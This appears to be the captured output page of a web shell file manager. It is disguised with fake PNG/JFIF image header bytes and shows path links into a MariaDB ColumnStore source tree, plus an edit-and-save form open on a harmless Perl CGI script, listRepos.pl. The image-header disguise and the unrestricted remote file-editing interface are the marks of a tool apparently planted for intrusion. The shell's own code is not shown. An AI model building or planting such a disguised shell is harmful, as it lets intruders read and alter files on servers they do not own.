�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2F'>storage</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Fcolumnstore%2F'>columnstore</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Fcolumnstore%2Fcolumnstore%2F'>columnstore</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Fcolumnstore%2Fcolumnstore%2Ftools%2F'>tools</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Fcolumnstore%2Fcolumnstore%2Ftools%2FupdateGenii%2F'>updateGenii</a>/</p><hr><h3>✏️ Editing: listRepos.pl</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/perl -w
#
# $Id: listRepos.pl 192 2007-05-14 14:42:49Z rdempsey $
#

use File::Basename;

$reporoot = &#039;/Calpont/repos/genii/*&#039;;

$opt_a = 0;
if (defined($ENV{&#039;QUERY_STRING&#039;}))
{
	$opt_a = 1 if ($ENV{&#039;QUERY_STRING&#039;} eq &quot;All&quot;);
}

sub findRepos
{
	my ($root) = @_;

	my @repolist = ();

	my @repodirs = glob($root);

	my $dir;

	for $dir (@repodirs)
	{
		$dir = basename($dir);

		if ($opt_a == 0)
		{
			next if ($dir eq &quot;net-snmp&quot;);
			# deprecated projects
			next if ($dir eq &quot;altera&quot;);
			next if ($dir eq &quot;diskmgr&quot;);
			next if ($dir eq &quot;emulator&quot;);
			next if ($dir eq &quot;message&quot;);
			next if ($dir eq &quot;sqlengine&quot;);
		}
		next if ($dir eq &quot;demo&quot;);
		next if ($dir eq &quot;doc&quot;);

		push(@repolist, $dir);
	}

	return @repolist;
}

@repos = findRepos($reporoot);

print &#039;content-type: text/plain&#039;, &quot;\r\n&quot;;
print &quot;\r\n&quot;;

foreach $repo (@repos)
{
	print $repo, &quot;\r\n&quot;;
}

</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Fcolumnstore%2Fcolumnstore%2Ftools%2FupdateGenii'>🔙 Back</a></p>